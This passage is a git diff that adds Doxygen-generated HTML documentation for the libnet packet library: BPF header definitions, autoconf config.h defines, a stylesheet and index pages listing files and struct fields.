+00158 <span class="comment"> * Data-link level type codes.</span>
+00159 <span class="comment"> */</span>
+00160 <span class="preprocessor">#define DLT_NULL 0 </span><span class="comment">/* no link-layer encapsulation */</span>
+00161 <span class="preprocessor">#define DLT_EN10MB 1 </span><span class="comment">/* Ethernet (10Mb) */</span>
+00162 <span class="preprocessor">#define DLT_EN3MB 2 </span><span class="comment">/* Experimental Ethernet (3Mb) */</span>
+00163 <span class="preprocessor">#define DLT_AX25 3 </span><span class="comment">/* Amateur Radio AX.25 */</span>
+00164 <span class="preprocessor">#define DLT_PRONET 4 </span><span class="comment">/* Proteon ProNET Token Ring */</span>
+00165 <span class="preprocessor">#define DLT_CHAOS 5 </span><span class="comment">/* Chaos */</span>
+00166 <span class="preprocessor">#define DLT_IEEE802 6 </span><span class="comment">/* IEEE 802 Networks */</span>
+00167 <span class="preprocessor">#define DLT_ARCNET 7 </span><span class="comment">/* ARCNET */</span>
+00168 <span class="preprocessor">#define DLT_SLIP 8 </span><span class="comment">/* Serial Line IP */</span>
+00169 <span class="preprocessor">#define DLT_PPP 9 </span><span class="comment">/* Point-to-point Protocol */</span>
+00170 <span class="preprocessor">#define DLT_FDDI 10 </span><span class="comment">/* FDDI */</span>
+00171 <span class="preprocessor">#define DLT_ATM_RFC1483 11 </span><span class="comment">/* LLC/SNAP encapsulated atm */</span>
+00172 <span class="preprocessor">#define DLT_RAW 12 </span><span class="comment">/* raw IP */</span>
+00173 <span class="preprocessor">#define DLT_SLIP_BSDOS 13 </span><span class="comment">/* BSD/OS Serial Line IP */</span>
+00174 <span class="preprocessor">#define DLT_PPP_BSDOS 14 </span><span class="comment">/* BSD/OS Point-to-point Protocol */</span>
+00175
+00176 <span class="comment">/*</span>
+00177 <span class="comment"> * The instruction encondings.</span>
+00178 <span class="comment"> */</span>
+00179 <span class="comment">/* instruction classes */</span>
+00180 <span class="preprocessor">#define BPF_CLASS(code) ((code) &amp; 0x07)</span>
+00181 <span class="preprocessor"></span><span class="preprocessor">#define BPF_LD 0x00</span>
+00182 <span class="preprocessor"></span><span class="preprocessor">#define BPF_LDX 0x01</span>
+00183 <span class="preprocessor"></span><span class="preprocessor">#define BPF_ST 0x02</span>
+00184 <span class="preprocessor"></span><span class="preprocessor">#define BPF_STX 0x03</span>
+00185 <span class="preprocessor"></span><span class="preprocessor">#define BPF_ALU 0x04</span>
+00186 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JMP 0x05</span>
+00187 <span class="preprocessor"></span><span class="preprocessor">#define BPF_RET 0x06</span>
+00188 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MISC 0x07</span>
+00189 <span class="preprocessor"></span>
+00190 <span class="comment">/* ld/ldx fields */</span>
+00191 <span class="preprocessor">#define BPF_SIZE(code) ((code) &amp; 0x18)</span>
+00192 <span class="preprocessor"></span><span class="preprocessor">#define BPF_W 0x00</span>
+00193 <span class="preprocessor"></span><span class="preprocessor">#define BPF_H 0x08</span>
+00194 <span class="preprocessor"></span><span class="preprocessor">#define BPF_B 0x10</span>
+00195 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MODE(code) ((code) &amp; 0xe0)</span>
+00196 <span class="preprocessor"></span><span class="preprocessor">#define BPF_IMM 0x00</span>
+00197 <span class="preprocessor"></span><span class="preprocessor">#define BPF_ABS 0x20</span>
+00198 <span class="preprocessor"></span><span class="preprocessor">#define BPF_IND 0x40</span>
+00199 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MEM 0x60</span>
+00200 <span class="preprocessor"></span><span class="preprocessor">#define BPF_LEN 0x80</span>
+00201 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MSH 0xa0</span>
+00202 <span class="preprocessor"></span>
+00203 <span class="comment">/* alu/jmp fields */</span>
+00204 <span class="preprocessor">#define BPF_OP(code) ((code) &amp; 0xf0)</span>
+00205 <span class="preprocessor"></span><span class="preprocessor">#define BPF_ADD 0x00</span>
+00206 <span class="preprocessor"></span><span class="preprocessor">#define BPF_SUB 0x10</span>
+00207 <span class="preprocessor"></span><span class="preprocessor">#define BPF_MUL 0x20</span>
+00208 <span class="preprocessor"></span><span class="preprocessor">#define BPF_DIV 0x30</span>
+00209 <span class="preprocessor"></span><span class="preprocessor">#define BPF_OR 0x40</span>
+00210 <span class="preprocessor"></span><span class="preprocessor">#define BPF_AND 0x50</span>
+00211 <span class="preprocessor"></span><span class="preprocessor">#define BPF_LSH 0x60</span>
+00212 <span class="preprocessor"></span><span class="preprocessor">#define BPF_RSH 0x70</span>
+00213 <span class="preprocessor"></span><span class="preprocessor">#define BPF_NEG 0x80</span>
+00214 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JA 0x00</span>
+00215 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JEQ 0x10</span>
+00216 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JGT 0x20</span>
+00217 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JGE 0x30</span>
+00218 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JSET 0x40</span>
+00219 <span class="preprocessor"></span><span class="preprocessor">#define BPF_SRC(code) ((code) &amp; 0x08)</span>
+00220 <span class="preprocessor"></span><span class="preprocessor">#define BPF_K 0x00</span>
+00221 <span class="preprocessor"></span><span class="preprocessor">#define BPF_X 0x08</span>
+00222 <span class="preprocessor"></span>
+00223 <span class="comment">/* ret - BPF_K and BPF_X also apply */</span>
+00224 <span class="preprocessor">#define BPF_RVAL(code) ((code) &amp; 0x18)</span>
+00225 <span class="preprocessor"></span><span class="preprocessor">#define BPF_A 0x10</span>
+00226 <span class="preprocessor"></span>
+00227 <span class="comment">/* misc */</span>
+00228 <span class="preprocessor">#define BPF_MISCOP(code) ((code) &amp; 0xf8)</span>
+00229 <span class="preprocessor"></span><span class="preprocessor">#define BPF_TAX 0x00</span>
+00230 <span class="preprocessor"></span><span class="preprocessor">#define BPF_TXA 0x80</span>
+00231 <span class="preprocessor"></span>
+00232 <span class="comment">/*</span>
+00233 <span class="comment"> * The instruction data structure.</span>
+00234 <span class="comment"> */</span>
+00235 <span class="keyword">struct </span>bpf_insn {
+00236 u_short code;
+00237 u_char jt;
+00238 u_char jf;
+00239 bpf_int32 k;
+00240 };
+00241
+00242 <span class="comment">/*</span>
+00243 <span class="comment"> * Macros for insn array initializers.</span>
+00244 <span class="comment"> */</span>
+00245 <span class="preprocessor">#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k }</span>
+00246 <span class="preprocessor"></span><span class="preprocessor">#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k }</span>
+00247 <span class="preprocessor"></span>
+00248 <span class="preprocessor">#ifdef KERNEL</span>
+00249 <span class="preprocessor"></span><span class="keyword">extern</span> u_int bpf_filter();
+00250 <span class="keyword">extern</span> <span class="keywordtype">void</span> bpfattach();
+00251 <span class="keyword">extern</span> <span class="keywordtype">void</span> bpf_tap();
+00252 <span class="keyword">extern</span> <span class="keywordtype">void</span> bpf_mtap();
+00253 <span class="preprocessor">#else</span>
+00254 <span class="preprocessor"></span><span class="preprocessor">#if __STDC__</span>
+00255 <span class="preprocessor"></span><span class="keyword">extern</span> u_int bpf_filter(<span class="keyword">struct</span> bpf_insn *, u_char *, u_int, u_int);
+00256 <span class="preprocessor">#endif</span>
+00257 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00258 <span class="preprocessor"></span>
+00259 <span class="comment">/*</span>
+00260 <span class="comment"> * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST).</span>
+00261 <span class="comment"> */</span>
+00262 <span class="preprocessor">#define BPF_MEMWORDS 16</span>
+00263 <span class="preprocessor"></span>
+00264 <span class="preprocessor">#endif</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/config_8h-source.html b/libnet/doc/html/config_8h-source.html
new file mode 100644
index 0000000..840ddb9
--- /dev/null
+++ b/libnet/doc/html/config_8h-source.html
@@ -0,0 +1,125 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: config.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>config.h</h1><div class="fragment"><pre>00001 <span class="comment">/* include/config.h.in. Generated from configure.in by autoheader. */</span>
+00002 <span class="comment">/*</span>
+00003 <span class="comment">dnl $Id: config.h,v 1.4 2004/01/03 20:31:00 mike Exp $</span>
+00004 <span class="comment">dnl</span>
+00005 <span class="comment">dnl Libnet autoconfiguration acconfig.h file</span>
+00006 <span class="comment">dnl Copyright (c) 1998 - 2004 Mike D. Schiffman &lt;mike@infonexus.com&gt;</span>
+00007 <span class="comment">dnl All rights reserved.</span>
+00008 <span class="comment">dnl</span>
+00009 <span class="comment">dnl Process this file with autoheader to produce a config.h file.</span>
+00010 <span class="comment">dnl</span>
+00011 <span class="comment">*/</span>
+00012
+00013 <span class="preprocessor">#undef LIBNET_BSDISH_OS</span>
+00014 <span class="preprocessor"></span><span class="preprocessor">#undef LIBNET_BSD_BYTE_SWAP</span>
+00015 <span class="preprocessor"></span><span class="preprocessor">#undef DLPI_DEV_PREFIX</span>
+00016 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_DEV_DLPI</span>
+00017 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOLARIS</span>
+00018 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOLARIS_IPV6</span>
+00019 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_HPUX11</span>
+00020 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_SOCKADDR_SA_LEN</span>
+00021 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_DLPI</span>
+00022 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_PACKET_SOCKET</span>
+00023 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_STRUCT_IP_CSUM</span>
+00024 <span class="preprocessor"></span><span class="preprocessor">#undef HAVE_LIB_PCAP</span>
+00025 <span class="preprocessor"></span><span class="preprocessor">#undef LBL_ALIGN</span>
+00026 <span class="preprocessor"></span><span class="preprocessor">#undef STUPID_SOLARIS_CHECKSUM_BUG</span>
+00027 <span class="preprocessor"></span><span class="preprocessor">#undef _BSD_SOURCE</span>
+00028 <span class="preprocessor"></span><span class="preprocessor">#undef __BSD_SOURCE</span>
+00029 <span class="preprocessor"></span><span class="preprocessor">#undef __FAVOR_BSD</span>
+00030 <span class="preprocessor"></span><span class="preprocessor">#undef LIBNET_BIG_ENDIAN</span>
+00031 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_LIL_ENDIAN 1</span>
+00032 <span class="preprocessor"></span><span class="preprocessor">#undef NO_SNPRINTF</span>
+00033 <span class="preprocessor"></span>
+00034
+00035 <span class="comment">/*</span>
+00036 <span class="comment">dnl EOF</span>
+00037 <span class="comment">*/</span>
+00038
+00039 <span class="comment">/* Define to 1 if you have the &lt;inttypes.h&gt; header file. */</span>
+00040 <span class="preprocessor">#undef HAVE_INTTYPES_H</span>
+00041 <span class="preprocessor"></span>
+00042 <span class="comment">/* Define to 1 if you have the `nsl' library (-lnsl). */</span>
+00043 <span class="preprocessor">#undef HAVE_LIBNSL</span>
+00044 <span class="preprocessor"></span>
+00045 <span class="comment">/* Define to 1 if you have the `packet' library (-lpacket). */</span>
+00046 <span class="preprocessor">#undef HAVE_LIBPACKET</span>
+00047 <span class="preprocessor"></span>
+00048 <span class="comment">/* Define to 1 if you have the `socket' library (-lsocket). */</span>
+00049 <span class="preprocessor">#undef HAVE_LIBSOCKET</span>
+00050 <span class="preprocessor"></span>
+00051 <span class="comment">/* Define to 1 if you have the `wpcap' library (-lwpcap). */</span>
+00052 <span class="preprocessor">#undef HAVE_LIBWPCAP</span>
+00053 <span class="preprocessor"></span>
+00054 <span class="comment">/* Define to 1 if you have the &lt;memory.h&gt; header file. */</span>
+00055 <span class="preprocessor">#undef HAVE_MEMORY_H</span>
+00056 <span class="preprocessor"></span>
+00057 <span class="comment">/* Define to 1 if you have the &lt;net/ethernet.h&gt; header file. */</span>
+00058 <span class="preprocessor">#define HAVE_NET_ETHERNET_H 1</span>
+00059 <span class="preprocessor"></span>
+00060 <span class="comment">/* Define to 1 if you have the &lt;stdint.h&gt; header file. */</span>
+00061 <span class="preprocessor">#undef HAVE_STDINT_H</span>
+00062 <span class="preprocessor"></span>
+00063 <span class="comment">/* Define to 1 if you have the &lt;stdlib.h&gt; header file. */</span>
+00064 <span class="preprocessor">#undef HAVE_STDLIB_H</span>
+00065 <span class="preprocessor"></span>
+00066 <span class="comment">/* Define to 1 if you have the `strerror' function. */</span>
+00067 <span class="preprocessor">#define HAVE_STRERROR 1</span>
+00068 <span class="preprocessor"></span>
+00069 <span class="comment">/* Define to 1 if you have the &lt;strings.h&gt; header file. */</span>
+00070 <span class="preprocessor">#undef HAVE_STRINGS_H</span>
+00071 <span class="preprocessor"></span>
+00072 <span class="comment">/* Define to 1 if you have the &lt;string.h&gt; header file. */</span>
+00073 <span class="preprocessor">#undef HAVE_STRING_H</span>
+00074 <span class="preprocessor"></span>
+00075 <span class="comment">/* Define to 1 if you have the &lt;sys/bufmod.h&gt; header file. */</span>
+00076 <span class="preprocessor">#undef HAVE_SYS_BUFMOD_H</span>
+00077 <span class="preprocessor"></span>
+00078 <span class="comment">/* Define to 1 if you have the &lt;sys/dlpi_ext.h&gt; header file. */</span>
+00079 <span class="preprocessor">#undef HAVE_SYS_DLPI_EXT_H</span>
+00080 <span class="preprocessor"></span>
+00081 <span class="comment">/* Define to 1 if you have the &lt;sys/sockio.h&gt; header file. */</span>
+00082 <span class="preprocessor">#undef HAVE_SYS_SOCKIO_H</span>
+00083 <span class="preprocessor"></span>
+00084 <span class="comment">/* Define to 1 if you have the &lt;sys/stat.h&gt; header file. */</span>
+00085 <span class="preprocessor">#undef HAVE_SYS_STAT_H</span>
+00086 <span class="preprocessor"></span>
+00087 <span class="comment">/* Define to 1 if you have the &lt;sys/types.h&gt; header file. */</span>
+00088 <span class="preprocessor">#undef HAVE_SYS_TYPES_H</span>
+00089 <span class="preprocessor"></span>
+00090 <span class="comment">/* Define to 1 if you have the &lt;unistd.h&gt; header file. */</span>
+00091 <span class="preprocessor">#undef HAVE_UNISTD_H</span>
+00092 <span class="preprocessor"></span>
+00093 <span class="comment">/* Name of package */</span>
+00094 <span class="preprocessor">#undef PACKAGE</span>
+00095 <span class="preprocessor"></span>
+00096 <span class="comment">/* Define to the address where bug reports for this package should be sent. */</span>
+00097 <span class="preprocessor">#undef PACKAGE_BUGREPORT</span>
+00098 <span class="preprocessor"></span>
+00099 <span class="comment">/* Define to the full name of this package. */</span>
+00100 <span class="preprocessor">#undef PACKAGE_NAME</span>
+00101 <span class="preprocessor"></span>
+00102 <span class="comment">/* Define to the full name and version of this package. */</span>
+00103 <span class="preprocessor">#undef PACKAGE_STRING</span>
+00104 <span class="preprocessor"></span>
+00105 <span class="comment">/* Define to the one symbol short name of this package. */</span>
+00106 <span class="preprocessor">#undef PACKAGE_TARNAME</span>
+00107 <span class="preprocessor"></span>
+00108 <span class="comment">/* Define to the version of this package. */</span>
+00109 <span class="preprocessor">#undef PACKAGE_VERSION</span>
+00110 <span class="preprocessor"></span>
+00111 <span class="comment">/* Define to 1 if you have the ANSI C header files. */</span>
+00112 <span class="preprocessor">#undef STDC_HEADERS</span>
+</pre></div><hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/doxygen.css b/libnet/doc/html/doxygen.css
new file mode 100644
index 0000000..a89dd24
--- /dev/null
+++ b/libnet/doc/html/doxygen.css
@@ -0,0 +1,169 @@
+H1 {
+ text-align: center;
+ font-family: Arial, Helvetica, sans-serif;
+}
+H2 {
+ font-family: Geneva, Arial, Helvetica, sans-serif;
+}
+CAPTION { font-weight: bold }
+DIV.qindex { width: 100%;
+ background-color: #eeeeff;
+ border: 4px solid #eeeeff;
+ text-align: center;
+ margin-bottom: 2px
+}
+A.qindex { text-decoration: none; font-weight: bold; color: #0000ee }
+A.qindex:visited { text-decoration: none; font-weight: bold; color: #0000ee }
+A.qindex:hover { text-decoration: none; background-color: #ddddff }
+A.qindexHL { text-decoration: none; font-weight: bold;
+ background-color: #6666cc;
+ color: #ffffff
+ }
+A.qindexHL:hover { text-decoration: none; background-color: #6666cc; color: #ffffff }
+A.qindexHL:visited { text-decoration: none; background-color: #6666cc; color: #ffffff }
+A.el { text-decoration: none; font-weight: bold }
+A.elRef { font-weight: bold }
+A.code { text-decoration: none; font-weight: normal; color: #4444ee }
+A.codeRef { font-weight: normal; color: #4444ee }
+A:hover { text-decoration: none; background-color: #f2f2ff }
+DL.el { margin-left: -1cm }
+DIV.fragment {
+ width: 98%;
+ border: 1px solid #CCCCCC;
+ background-color: #f5f5f5;
+ padding-left: 4px;
+ margin: 4px;
+}
+DIV.ah { background-color: black; font-weight: bold; color: #ffffff; margin-bottom: 3px; margin-top: 3px }
+TD.md { background-color: #f2f2ff; font-weight: bold; }
+TD.mdname1 { background-color: #f2f2ff; font-weight: bold; color: #602020; }
+TD.mdname { background-color: #f2f2ff; font-weight: bold; color: #602020; width: 600px; }
+DIV.groupHeader { margin-left: 16px; margin-top: 12px; margin-bottom: 6px; font-weight: bold }
+DIV.groupText { margin-left: 16px; font-style: italic; font-size: smaller }
+BODY {
+ background: white;
+ color: black;
+ margin-right: 20px;
+ margin-left: 20px;
+}
+TD.indexkey {
+ background-color: #eeeeff;
+ font-weight: bold;
+ padding-right : 10px;
+ padding-top : 2px;
+ padding-left : 10px;
+ padding-bottom : 2px;
+ margin-left : 0px;
+ margin-right : 0px;
+ margin-top : 2px;
+ margin-bottom : 2px
+}
+TD.indexvalue {
+ background-color: #eeeeff;
+ font-style: italic;
+ padding-right : 10px;
+ padding-top : 2px;
+ padding-left : 10px;
+ padding-bottom : 2px;
+ margin-left : 0px;
+ margin-right : 0px;
+ margin-top : 2px;
+ margin-bottom : 2px
+}
+TR.memlist {
+ background-color: #f0f0f0;
+}
+P.formulaDsp { text-align: center; }
+IMG.formulaDsp { }
+IMG.formulaInl { vertical-align: middle; }
+SPAN.keyword { color: #008000 }
+SPAN.keywordtype { color: #604020 }
+SPAN.keywordflow { color: #e08000 }
+SPAN.comment { color: #800000 }
+SPAN.preprocessor { color: #806020 }
+SPAN.stringliteral { color: #002080 }
+SPAN.charliteral { color: #008080 }
+.mdTable {
+ border: 1px solid #868686;
+ background-color: #f2f2ff;
+}
+.mdRow {
+ padding: 8px 20px;
+}
+.mdescLeft {
+ font-size: smaller;
+ font-family: Arial, Helvetica, sans-serif;
+ background-color: #FAFAFA;
+ padding-left: 8px;
+ border-top: 1px none #E0E0E0;
+ border-right: 1px none #E0E0E0;
+ border-bottom: 1px none #E0E0E0;
+ border-left: 1px none #E0E0E0;
+ margin: 0px;
+}
+.mdescRight {
+ font-size: smaller;
+ font-family: Arial, Helvetica, sans-serif;
+ font-style: italic;
+ background-color: #FAFAFA;
+ padding-left: 4px;
+ border-top: 1px none #E0E0E0;
+ border-right: 1px none #E0E0E0;
+ border-bottom: 1px none #E0E0E0;
+ border-left: 1px none #E0E0E0;
+ margin: 0px;
+ padding-bottom: 0px;
+ padding-right: 8px;
+}
+.memItemLeft {
+ padding: 1px 0px 0px 8px;
+ margin: 4px;
+ border-top-width: 1px;
+ border-right-width: 1px;
+ border-bottom-width: 1px;
+ border-left-width: 1px;
+ border-top-style: solid;
+ border-top-color: #E0E0E0;
+ border-right-color: #E0E0E0;
+ border-bottom-color: #E0E0E0;
+ border-left-color: #E0E0E0;
+ border-right-style: none;
+ border-bottom-style: none;
+ border-left-style: none;
+ background-color: #FAFAFA;
+ font-family: Geneva, Arial, Helvetica, sans-serif;
+ font-size: 12px;
+}
+.memItemRight {
+ padding: 1px 0px 0px 8px;
+ margin: 4px;
+ border-top-width: 1px;
+ border-right-width: 1px;
+ border-bottom-width: 1px;
+ border-left-width: 1px;
+ border-top-style: solid;
+ border-top-color: #E0E0E0;
+ border-right-color: #E0E0E0;
+ border-bottom-color: #E0E0E0;
+ border-left-color: #E0E0E0;
+ border-right-style: none;
+ border-bottom-style: none;
+ border-left-style: none;
+ background-color: #FAFAFA;
+ font-family: Geneva, Arial, Helvetica, sans-serif;
+ font-size: 13px;
+}
+.search { color: #0000ee;
+ font-weight: bold;
+}
+FORM.search {
+ margin-bottom: 0px;
+ margin-top: 0px;
+}
+INPUT.search { font-size: 75%;
+ color: #000080;
+ font-weight: normal;
+ background-color: #eeeeff;
+}
+TD.tiny { font-size: 75%;
+}
diff --git a/libnet/doc/html/doxygen.png b/libnet/doc/html/doxygen.png
new file mode 100644
index 0000000..96ae72c
--- /dev/null
+++ b/libnet/doc/html/doxygen.png
Binary files differ
diff --git a/libnet/doc/html/files.html b/libnet/doc/html/files.html
new file mode 100644
index 0000000..9a058a7
--- /dev/null
+++ b/libnet/doc/html/files.html
@@ -0,0 +1,29 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: File Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindexHL" href="files.html">File&nbsp;List</a> | <a class="qindex" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<h1>libnet File List</h1>Here is a list of all documented files with brief descriptions:<table>
+ <tr><td class="indexkey"><b>acconfig.h</b> <a href="acconfig_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>bpf.h</b> <a href="bpf_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>config.h</b> <a href="config_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>getopt.h</b> <a href="getopt_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>gnuc.h</b> <a href="gnuc_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>ifaddrlist.h</b> <a href="ifaddrlist_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>in_systm.h</b> <a href="in__systm_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>libnet-asn1.h</b> <a href="libnet-asn1_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><a class="el" href="libnet-functions_8h.html">libnet-functions.h</a> <a href="libnet-functions_8h-source.html">[code]</a></td><td class="indexvalue">Libnet exported function prototypes </td></tr>
+ <tr><td class="indexkey"><a class="el" href="libnet-headers_8h.html">libnet-headers.h</a> <a href="libnet-headers_8h-source.html">[code]</a></td><td class="indexvalue">Libnet header information </td></tr>
+ <tr><td class="indexkey"><a class="el" href="libnet-macros_8h.html">libnet-macros.h</a> <a href="libnet-macros_8h-source.html">[code]</a></td><td class="indexvalue">Libnet macros and symbloc constants </td></tr>
+ <tr><td class="indexkey"><b>libnet-structures.h</b> <a href="libnet-structures_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><b>libnet-types.h</b> <a href="libnet-types_8h-source.html">[code]</a></td><td class="indexvalue"></td></tr>
+ <tr><td class="indexkey"><a class="el" href="libnet_8h.html">libnet.h</a> <a href="libnet_8h-source.html">[code]</a></td><td class="indexvalue">Toplevel libnet header file </td></tr>
+</table>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:37 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/functions.html b/libnet/doc/html/functions.html
new file mode 100644
index 0000000..2e467a0
--- /dev/null
+++ b/libnet/doc/html/functions.html
@@ -0,0 +1,26 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: Compound Member Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindexHL" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<div class="qindex"><a class="qindexHL" href="functions.html">All</a> | <a class="qindex" href="functions_vars.html">Variables</a></div>
+
+<p>
+Here is a list of all documented struct and union fields with links to the struct/union documentation for each field:<ul>
+<li>dot1x_length
+: <a class="el" href="structlibnet__802__1x__hdr.html#o2">libnet_802_1x_hdr</a><li>dot1x_type
+: <a class="el" href="structlibnet__802__1x__hdr.html#o1">libnet_802_1x_hdr</a><li>dot1x_version
+: <a class="el" href="structlibnet__802__1x__hdr.html#o0">libnet_802_1x_hdr</a><li>vlan_dhost
+: <a class="el" href="structlibnet__802__1q__hdr.html#o0">libnet_802_1q_hdr</a><li>vlan_len
+: <a class="el" href="structlibnet__802__1q__hdr.html#o4">libnet_802_1q_hdr</a><li>vlan_priority_c_vid
+: <a class="el" href="structlibnet__802__1q__hdr.html#o3">libnet_802_1q_hdr</a><li>vlan_shost
+: <a class="el" href="structlibnet__802__1q__hdr.html#o1">libnet_802_1q_hdr</a><li>vlan_tpi
+: <a class="el" href="structlibnet__802__1q__hdr.html#o2">libnet_802_1q_hdr</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/functions_vars.html b/libnet/doc/html/functions_vars.html
new file mode 100644
index 0000000..0e8d73a
--- /dev/null
+++ b/libnet/doc/html/functions_vars.html
@@ -0,0 +1,26 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: Compound Member Index</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
+<div class="qindex"><a class="qindex" href="index.html">Main&nbsp;Page</a> | <a class="qindex" href="annotated.html">Data&nbsp;Structures</a> | <a class="qindex" href="files.html">File&nbsp;List</a> | <a class="qindexHL" href="functions.html">Data&nbsp;Fields</a> | <a class="qindex" href="globals.html">Globals</a></div>
+<div class="qindex"><a class="qindex" href="functions.html">All</a> | <a class="qindexHL" href="functions_vars.html">Variables</a></div>
+
+<p>
+<ul>
+<li>dot1x_length
+: <a class="el" href="structlibnet__802__1x__hdr.html#o2">libnet_802_1x_hdr</a><li>dot1x_type
+: <a class="el" href="structlibnet__802__1x__hdr.html#o1">libnet_802_1x_hdr</a><li>dot1x_version
+: <a class="el" href="structlibnet__802__1x__hdr.html#o0">libnet_802_1x_hdr</a><li>vlan_dhost
+: <a class="el" href="structlibnet__802__1q__hdr.html#o0">libnet_802_1q_hdr</a><li>vlan_len
+: <a class="el" href="structlibnet__802__1q__hdr.html#o4">libnet_802_1q_hdr</a><li>vlan_priority_c_vid
+: <a class="el" href="structlibnet__802__1q__hdr.html#o3">libnet_802_1q_hdr</a><li>vlan_shost
+: <a class="el" href="structlibnet__802__1q__hdr.html#o1">libnet_802_1q_hdr</a><li>vlan_tpi
+: <a class="el" href="structlibnet__802__1q__hdr.html#o2">libnet_802_1q_hdr</a></ul>
+<hr size="1"><address style="align: right;"><small>Generated on Wed Mar 10 13:23:38 2004 for libnet by
+<a href="http://www.doxygen.org/index.html">
+<img src="doxygen.png" alt="doxygen" align="middle" border=0 >
+</a>1.3.4 </small></address>
+</body>
+</html>
diff --git a/libnet/doc/html/getopt_8h-source.html b/libnet/doc/html/getopt_8h-source.html
new file mode 100644
index 0000000..5ea497b
--- /dev/null
+++ b/libnet/doc/html/getopt_8h-source.html
@@ -0,0 +1,97 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html><head><meta http-equiv="Content-Type" content="text/html;charset=iso-8859-1">
+<title>libnet: getopt.h Source File</title>
+<link href="doxygen.css" rel="stylesheet" type="text/css">
+</head><body>
+<!-- Generated by Doxygen 1.3.4 -->
